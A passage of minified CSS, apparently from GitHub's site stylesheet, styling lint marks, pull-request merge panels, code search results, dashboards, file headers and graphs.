transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.enqueued-pull-request .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.enqueued-pull-request .branch-action-body::before{background-color:var(--color-attention-emphasis)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.branch-action-body .spinner{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.merge-branch-form,.queue-branch-form{display:none;margin:16px 0}.merge-branch-form .commit-form,.queue-branch-form .commit-form{border-color:var(--color-success-emphasis)}.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::before,.queue-branch-form .commit-form::before{display:block;border-right-color:var(--color-border-default)}}.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:none}@media(min-width: 768px){.merge-branch-form .commit-form::after,.queue-branch-form .commit-form::after{display:block}}.merge-branch-form.error .commit-form,.merge-branch-form.danger .commit-form,.queue-branch-form.error .commit-form,.queue-branch-form.danger .commit-form{border-color:var(--color-danger-emphasis)}.merge-branch-form.error .commit-form::before,.merge-branch-form.danger .commit-form::before,.queue-branch-form.error .commit-form::before,.queue-branch-form.danger .commit-form::before{border-right-color:var(--color-danger-emphasis)}.merge-button-matrix-merge-form .merge-branch-form{display:block}.completeness-indicator{display:flex;align-items:center;justify-content:center;width:30px;height:30px}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-problem{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent;border-radius:50%}.completeness-indicator-warning{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent;border-radius:50%}.pull-merging .pull-merging-error{display:none}.pull-merging.is-error .pull-merging-error{display:block}.pull-merging.is-error .merge-pr{display:none}.admin-options-block .admin-option-button{margin-top:8px}.admin-options-block .policy-enforcement{display:inline;margin-left:8px;color:var(--color-fg-muted)}.admin-options-block .policy-enforcement label{font-size:14px}.admin-options-block .disabled{color:var(--color-fg-muted)}.admin-options-block .disabled .note{color:var(--color-fg-muted)}.overflow-scroll-y{overflow-x:hidden !important;overflow-y:scroll !important}.business-menu-item:not([aria-current=page])+.business-sub-menu{display:none}.business-menu-icon{width:16px;margin-right:8px}.deprovisioning-checkbox>.show-if-disabled{display:none}.deprovisioning-checkbox.checkbox-disabled{color:var(--color-fg-muted)}.deprovisioning-checkbox.checkbox-disabled>.show-if-disabled{display:inherit}.dormant-users-recent-reports{gap:16px}.avatar-migration-status-badge{width:20px;height:20px}body.full-width-p-0 .new-discussion-timeline{padding:0 !important}body.full-width-p-0 .footer .mt-6{margin-top:0 !important;border-top:0 !important}body.full-width-p-0 .tabnav .tabnav-extra{margin-right:24px}body.full-width-p-0 .tabnav .tabnav-tabs{margin-left:16px}.actions-full-screen .pagehead,.actions-full-screen .hide-full-screen,.actions-full-screen .Header-old,.actions-full-screen .Header{display:none}.checks-list-item.selected .checks-list-item-name{background-color:var(--color-accent-emphasis) !important}.checks-list-item.selected .selected-color-white{color:var(--color-fg-on-emphasis) !important}.checks-list-item-icon{width:16px}.check-annotation{border-left:0;border-top-left-radius:0;border-bottom-left-radius:0}.file .check-annotation{border-bottom:1px solid var(--color-border-default)}.file .check-annotation:last-child{border-bottom:0}.check-annotation .annotation-actions{top:4px;right:8px}.check-annotation .annotation-octicon{width:16px}.check-annotation.Details--on .Details-content--hidden{display:block !important}.annotation-title{word-break:break-all}.check-annotation-failure{box-shadow:inset 4px 0 0 var(--color-danger-emphasis)}.check-annotation-failure .annotation-title{color:var(--color-danger-fg)}.check-annotation-warning{box-shadow:inset 4px 0 0 var(--color-attention-emphasis)}.check-annotation-warning .octicon-alert{color:var(--color-attention-fg)}.check-annotation-warning .annotation-title{color:var(--color-attention-fg)}.neutral-check{color:var(--color-fg-muted)}.code-frequency .addition{fill:#2cbe4e;fill-opacity:1}.code-frequency .deletion{fill:var(--color-danger-emphasis);fill-opacity:1}.code-list .file-box{border:1px solid var(--color-border-default);border-radius:6px}.code-list .title{min-height:24px;margin:-4px 0 8px 40px;font-weight:600;line-height:1.2}.code-list .repo-specific .title,.code-list .repo-specific .full-path{margin-left:0}.code-list .match-count,.code-list .updated-at{margin:0;font-weight:400}.code-list .language{float:right;margin-left:8px;font-size:12px;color:rgba(51,51,51,.75)}.code-list .avatar{float:left}.code-list .code-list-item+.code-list-item{border-top:1px solid var(--color-border-muted)}.code-list .blob-num{padding:0}.code-list .blob-num::before{content:normal}.code-list .blob-num a{padding:0 8px;color:inherit}.code-list .blob-num a:hover{color:var(--color-accent-fg)}.code-list .blob-code{white-space:pre-wrap}.code-list .divider .blob-num,.code-list .divider .blob-code{padding-top:0;padding-bottom:0;cursor:default;background-color:var(--color-canvas-subtle)}.code-list .divider .blob-num{height:18px;padding:0 8px;line-height:15px;background-color:var(--color-canvas-subtle)}.code-list .full-path{margin:0 0 0 40px}.code-list .full-path .octicon-repo{color:var(--color-fg-muted)}.code-list .full-path .octicon-lock{color:var(--color-attention-fg)}.code-list .full-path a{color:var(--color-fg-muted)}.code-list-item-private .file-box{border:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num{background-color:var(--color-attention-subtle);border-right:1px solid var(--color-attention-muted)}.code-list-item-private .blob-num a{color:var(--color-attention-fg)}.code-list-item-private .divider .blob-num,.code-list-item-private .divider .blob-code{color:var(--color-attention-fg);background-color:var(--color-attention-subtle)}.code-scanning-alert-warning-message{border-color:var(--color-attention-emphasis) !important}.code-scanning-font-size-inherit{font-size:inherit !important}.cs-message .md-list{padding-left:2em}.code-scanning-timeline .TimelineItem:last-of-type.code-scanning-alert-dismissal-comment::before{width:0}.codesearch-head.pagehead h1{width:250px;line-height:33px}@media(min-width: 768px){.advanced-search-form .flattened dt{width:230px}.advanced-search-form .flattened dt label{font-weight:400}.advanced-search-form .flattened dd{margin-left:250px}.advanced-search-form .form-checkbox{margin-left:250px}}.codesearch-results .code-list .title a{word-wrap:break-word}.codesearch-results .repo-list-item{border-bottom:0}.codesearch-results .repo-list-item+.repo-list-item{border-top:1px solid var(--color-border-default)}.search-form-fluid .TableObject-item--primary{position:relative;padding-right:8px}.search-form-fluid .completed-query{position:absolute;z-index:1;padding:inherit;margin:0;overflow:hidden;white-space:nowrap}.search-form-fluid .completed-query span{opacity:0}.search-form-fluid .search-page-label{position:relative;display:block;font-weight:400;cursor:text}.search-form-fluid .search-page-label.focus .completed-query{opacity:.6}.search-form-fluid .search-page-input{position:relative;z-index:2;min-height:0;padding:0;margin:0;background:none;border:0;box-shadow:none}.search-form-fluid .search-page-input:focus{box-shadow:none}.topics-row-container{height:30px;overflow:hidden}@media(max-width: 544px){.codesearch-pagination-container a:not(.next_page):not(.previous_page),.codesearch-pagination-container .gap{display:none}.codesearch-pagination-container .previous_page,.codesearch-pagination-container .next_page{width:100%}.codesearch-pagination-container .current{color:var(--color-fg-muted);background:var(--color-canvas-default);border-color:var(--color-border-default)}.codesearch-pagination-container .current::after{content:" of " attr(data-total-pages)}}.codespaces-policy-form details>summary::-webkit-details-marker{display:none}.codespaces-wider-select-menu-modal{width:420px;margin-right:32px}.codespaces-policy-item-no-hover:hover{background-color:var(--color-canvas-overlay)}.codespaces-policy-constraint-menu-item-muted-hover:hover{color:var(--color-fg-default);background-color:var(--color-btn-hover-bg)}.codespaces-policy-form-button-hover:hover .codespaces-policy-form-button-text-hover{border-color:var(--color-btn-hover-bg) !important}.codespaces-policy-form-button-hide-border{border-color:var(--color-scale-white) !important}.codespaces-policy-form-blue-hover:hover{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:hover svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-blue-hover:focus svg{color:var(--color-accent-fg) !important}.codespaces-policy-form-danger-hover:hover{background-color:var(--color-danger-subtle) !important}.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}@media(prefers-color-scheme: light){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: dark){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-dark.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}@media(prefers-color-scheme: no-preference){.cloud-panel .welcome-image{background:url("/images/modules/site/codespaces/dropdown-background-light.png");background-repeat:no-repeat;background-position:bottom center;background-size:contain}}.commit-activity-master{margin-top:16px}.is-graph-loading .commit-activity-master{display:none}rect{shape-rendering:crispedges}rect.max{fill:var(--color-attention-fg)}g.bar{fill:var(--color-success-fg)}g.mini{fill:var(--color-severe-fg)}g.active rect{fill:var(--color-danger-fg)}circle.focus{fill:var(--color-fg-muted)}.dot text{fill:var(--color-fg-muted);stroke:none}span.no-nl-marker{position:relative;color:var(--color-danger-fg);vertical-align:middle}.symlink .no-nl-marker{display:none}.range-editor{position:relative;padding:4px 16px 4px 40px;margin-top:16px;margin-bottom:16px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.range-editor .dots{font-size:16px}.range-editor .select-menu{position:relative;display:inline-block}.range-editor .select-menu.fork-suggester{display:none}.range-editor .branch-name{line-height:22px}.range-editor .branch .css-truncate-target,.range-editor .fork-suggester .css-truncate-target{max-width:180px}.range-editor .pre-mergability{display:inline-block;padding:4px;line-height:26px;vertical-align:middle}.range-editor .pre-mergability .octicon{vertical-align:text-bottom}.range-editor.is-cross-repo .select-menu.fork-suggester{display:inline-block}.range-editor-icon{float:left;margin-top:8px;margin-left:-24px;color:var(--color-fg-muted)}.compare-pr-header{display:none}.is-pr-composer-expanded .compare-show-header{display:none}.is-pr-composer-expanded .compare-pr-header{display:block}.range-cross-repo-pair{display:inline-block;padding:4px;white-space:nowrap}.tint-box{position:relative;margin-bottom:8px;background:var(--color-canvas-subtle);border-radius:6px}.tint-box.transparent{background:var(--color-canvas-default)}.tint-box .activity{padding-top:100px;margin-top:0}.contrib-person path{fill:var(--color-severe-fg)}.contrib-person .midlabel{fill:var(--color-neutral-emphasis)}.coupons .setup-plans td img{margin-top:-2px;vertical-align:middle}.coupons .coupon-form-body{width:270px;padding:16px;margin:100px auto 60px;font-size:14px;text-align:center;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.coupons .coupon-form-body .input-block{margin-bottom:16px}.coupons .coupon-form-body .btn{display:block;width:100%}.coupon-icon{width:80px;height:80px;margin:0 auto 16px;color:var(--color-accent-fg);border:1px solid var(--color-border-default);border-radius:40px}.coupon-icon .octicon{margin-top:16px;margin-right:2px}.coupons-list-options .select-menu{display:inline-block;margin-right:8px}.coupons-list-options .pagination{float:right;margin:0}.repo-private-icon{fill:var(--color-attention-fg)}.dashboard-rollup-items>.dashboard-rollup-item{border-top:1px solid var(--color-border-default)}.news-full{float:none;width:auto}.dashboard-break-word{-webkit-hyphens:auto;hyphens:auto;word-break:break-word}.news .bio g-emoji,.news .repo-description g-emoji{display:inline-block}.news .feed-item-heading-menu-button{color:var(--color-fg-muted)}.news .feed-item-heading-menu-button:hover{color:var(--color-fg-default)}.suggest-icon{width:48px;height:48px;padding:4px}.suggest-icon svg,.suggest-icon path{fill:#fff}.suggest-icon svg::before,.suggest-icon path::before{bottom:-6px;left:-4px;background-color:#9e7bff}.suggest-icon svg::after,.suggest-icon path::after{top:-5px;right:-5px;width:5px;height:5px;background-color:#6c84e9}.suggest-icon .suggest-icon-bubble{position:absolute;width:6px;height:6px;background-color:#6c84e9;border-radius:50%}.suggest-icon .suggest-icon-bubble:nth-of-type(2n){width:4px;height:4px;background-color:#9e7bff}.suggest-icon .suggest-icon-bubble:nth-of-type(1){bottom:-7px;left:-7px}.suggest-icon .suggest-icon-bubble:nth-of-type(2){top:-4px;right:4px}.suggest-icon .suggest-icon-bubble:nth-of-type(3){top:-7px;right:-8px}.dashboard-notice{position:relative;padding:16px 16px 16px 55px;margin-bottom:16px;font-size:14px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px}.dashboard-notice .dismiss{position:absolute;top:10px;right:10px;width:16px;height:16px;color:var(--color-fg-muted);cursor:pointer}.dashboard-notice .dismiss:hover{color:var(--color-fg-muted)}.dashboard-notice .notice-icon{position:absolute;top:15px;left:15px}.dashboard-notice .octicon-organization{color:var(--color-accent-fg)}.dashboard-notice h2{margin-top:8px;margin-bottom:16px;font-size:16px;font-weight:400;color:var(--color-fg-default)}.dashboard-notice p.no-title{padding-right:4px}.dashboard-notice ul{margin-left:16px}.dashboard-notice li{padding-bottom:16px}.dashboard-notice .coupon{padding:8px;margin:16px 0;font-size:20px;font-weight:600;text-align:center;background:var(--color-canvas-default);border:1px dashed var(--color-border-default)}.dashboards-overview-lead{width:700px}.dashboards-overview-cards .boxed-group{width:100%;margin:8px 0}.dashboards-overview-cards .boxed-group .graph-canvas path{stroke-opacity:.5}.dashboards-overview-cards .is-no-activity .blankslate{display:block}.dashboards-overview-cards .is-no-activity .dashboards-overview-graph{display:none}.dashboards-overview-cards .blankslate{display:none;padding-top:47px;background-color:var(--color-canvas-default);border:0;box-shadow:none}.dashboards-overview-cards .octicon-arrow-down,.dashboards-overview-cards .octicon-arrow-up{display:none}.dashboards-overview-cards .is-increase .octicon-arrow-up{display:inline-block}.dashboards-overview-cards .is-decrease .octicon-arrow-down{display:inline-block}.dashboards-overview-cards .octicon-arrow-down{color:var(--color-danger-fg)}.dashboards-overview-cards .octicon-arrow-up{color:#1db34f}.dashboards-overview-cards .graph-canvas .dots{padding:43px 0}.dashboards-overview-cards .summary-stats{height:78px}.dashboards-overview-cards .summary-stats .metric-0{color:#1db34f}.dashboards-overview-cards .summary-stats .metric-1{color:var(--color-accent-fg)}.dashboards-overview-cards .summary-stats .totals-num{margin:0 8px}.dashboards-overview-cards .summary-stats .single{width:100%}.dashboards-overview-cards .dashboards-overview-graph{height:160px}.dashboards-overview-cards .dashboards-overview-graph path{fill:none;stroke-width:2}.dashboards-overview-cards .dashboards-overview-graph path.metric-0{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph path.metric-1{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .y line{stroke:#1db34f}.dashboards-overview-cards .dashboards-overview-graph .y.unique line{stroke:#1d7fb3}.dashboards-overview-cards .dashboards-overview-graph .overlay{fill-opacity:0}.dashboards-overview-cards .metric-0 circle{fill:#1db34f;stroke:#fff;stroke-width:2}.dashboards-overview-cards .dots.metric-1 circle{fill:#1d7fb3;stroke:#fff;stroke-width:2}dl.form.developer-select-account{margin-top:0}.developer-wrapper .setup-info-module .features-list{margin-left:16px}.developer-wrapper .setup-info-module .features-list .octicon{margin-left:-16px}.developer-thanks h2{font-size:40px;font-weight:400}.developer-thanks .hook{margin-top:2px;margin-bottom:32px;font-size:16px;font-weight:300;color:var(--color-fg-muted)}.developer-thanks-image{position:relative;bottom:-45px;float:left;width:400px}.developer-thanks-section{margin:130px 0 0 470px}.developer-next-steps{font-size:16px;font-weight:300;list-style:none}.developer-next-steps li{margin-top:8px}.developer-next-steps li:first-child{margin-top:0}.developer-next-steps .octicon{margin-right:8px;color:var(--color-success-fg);vertical-align:middle}.file-diff-split[data-lock-side-selection=left] [data-split-side=right],.file-diff-split[data-lock-side-selection=right] [data-split-side=left]{-webkit-user-select:none;user-select:none}.invisible{position:absolute;opacity:0}.icon-discussion-answered{color:var(--color-success-fg)}.icon-discussion-answered,.icon-discussion-answered path{fill:var(--color-success-emphasis)}.icon-discussion-white{color:var(--color-discussions-state-answered-icon) !important}.icon-discussion-white,.icon-discussion-white path{fill:var(--color-discussions-state-answered-icon) !important}.icon-discussion-gray{color:var(--color-fg-default)}.icon-discussion-gray,.icon-discussion-gray path{fill:var(--color-fg-default)}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-checked=true]:hover,.label-select-menu .select-menu-item[aria-checked=true]:focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item-icon,.label-select-menu .label-options-icon{color:inherit !important}.user-has-reacted .octicon{fill:var(--color-accent-fg)}.donut-chart>.error,.donut-chart>.cancelled,.donut-chart>.action_required,.donut-chart>.timed_out,.donut-chart>.failure{fill:var(--color-checks-donut-error)}.donut-chart>.expected,.donut-chart>.queued,.donut-chart>.in_progress,.donut-chart>.waiting,.donut-chart>.requested,.donut-chart>.pending{fill:var(--color-checks-donut-pending)}.donut-chart>.success{fill:var(--color-checks-donut-success)}.donut-chart>.neutral,.donut-chart>.stale,.donut-chart>.skipped{fill:var(--color-checks-donut-neutral)}.survey-question-form .other-text-form,.survey-question-form .other-text-form-block{display:none;margin-top:0}.survey-question-form.is-other-selected .other-text-form{display:inline-block}.survey-question-form.is-other-selected .other-text-form-block{display:block}.ghe-license-status{padding:40px 0;font-size:16px;text-align:center}.ghe-license-status .octocat{width:225px;margin-bottom:16px}.ghe-license-status h1{margin-bottom:8px}.ghe-license-status p{margin-bottom:4px;color:var(--color-fg-muted)}.ghe-license-expiry-icon{margin:4px 8px 0 0;color:var(--color-attention-fg)}.feature-preview-dialog{width:90vw;max-width:880px;height:60vh;min-height:240px;max-height:700px}.feature-preview-dialog .feature-preview-info{height:60vh;min-height:183px;max-height:calc(100% - 57px)}.file{position:relative;margin-top:16px;margin-bottom:16px;border:1px solid var(--color-border-default, #ddd);border-radius:6px}.file .drag-and-drop{border:0;border-top:1px dashed var(--color-border-default)}.file:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.file .data.empty{padding:4px 8px;color:var(--color-fg-muted)}.file:not(.open) .file-header.file-header--expandable{border-bottom:0;border-radius:6px}.file .data.suppressed,.file.open .image{display:none}.file.open .data.suppressed{display:block}.file .image{position:relative;padding:32px;text-align:center;background-color:#ddd}.file .image table{margin:0 auto}.file .image td{padding:0 4px;color:var(--color-fg-muted);text-align:center;vertical-align:top}.file .image td img{max-width:100%}.file .image .border-wrap{position:relative;display:inline-block;line-height:0;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default)}.file .image a{display:inline-block;line-height:0}.file .image img,.file .image canvas{max-width:600px;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee;border:1px solid #fff}.file .image .view img,.file .image .view canvas{position:relative;top:0;right:0;max-width:inherit;background:url("/images/modules/commit/trans_bg.gif") right bottom #eee}.file .image .view>span{vertical-align:middle}.file .empty{background:none}.file-header{z-index:2;padding:4px 8px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.file-header::before{display:table;content:""}.file-header::after{display:table;clear:both;content:""}.file-actions{float:right;padding-top:2px;font-size:12px}.file-actions select{margin-left:4px}.file-info{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px;line-height:32px}.file-info .octicon{vertical-align:text-bottom}.sticky-file-header{position:sticky;top:60px}.diff-progressive-loader{min-height:150px}.load-diff-button,.load-diff-retry{z-index:1;min-height:32px}.diff-placeholder-svg{clip:rect(1px, 1px, 1px, 1px);-webkit-clip-path:inset(50%);clip-path:inset(50%)}.ghae-bootstrap-container{min-height:calc(100vh - 54px)}.ghae-bootstrap-incomplete-step{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.ghae-bootstrap-complete-step{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.ghae-enterprise-name-form-error{left:50%;transform:translateX(-50%)}.graphs .area{fill:var(--color-success-emphasis);fill-opacity:.5}.graphs .path{fill:none;stroke:var(--color-success-emphasis);stroke-opacity:1;stroke-width:2px}.graphs .dot{fill:var(--color-success-emphasis);stroke:#1e7e34;stroke-width:2px}.graphs .dot.padded{stroke:var(--color-canvas-default);stroke-width:1px}.graphs .dot.padded circle:hover{fill:var(--color-accent-emphasis)}.graphs .d3-tip{fill:var(--color-neutral-emphasis)}.graphs .d3-tip text{font-size:12px;fill:var(--color-canvas-default)}.graphs .dir{float:right;padding-top:4px;font-size:12px;font-weight:400;line-height:100%;color:var(--color-fg-muted)}.graphs .selection .overlay{visibility:none}.graphs .selection .selection{fill:var(--color-neutral-emphasis);fill-opacity:.1;stroke:var(--color-fg-default);stroke-dasharray:3 3;stroke-opacity:.4;stroke-width:1px;shape-rendering:crispedges}.graph-filter h3{display:inline-block;font-size:24px;font-weight:300}.graph-filter .info{margin-bottom:16px;color:var(--color-fg-muted)}.graph-canvas .activity{width:400px;padding:8px;margin:100px auto 0;color:var(--color-fg-default);text-align:center;border-radius:6px}.graph-canvas .dots{margin:0 auto}.graph-canvas>.activity{display:none}.graph-canvas 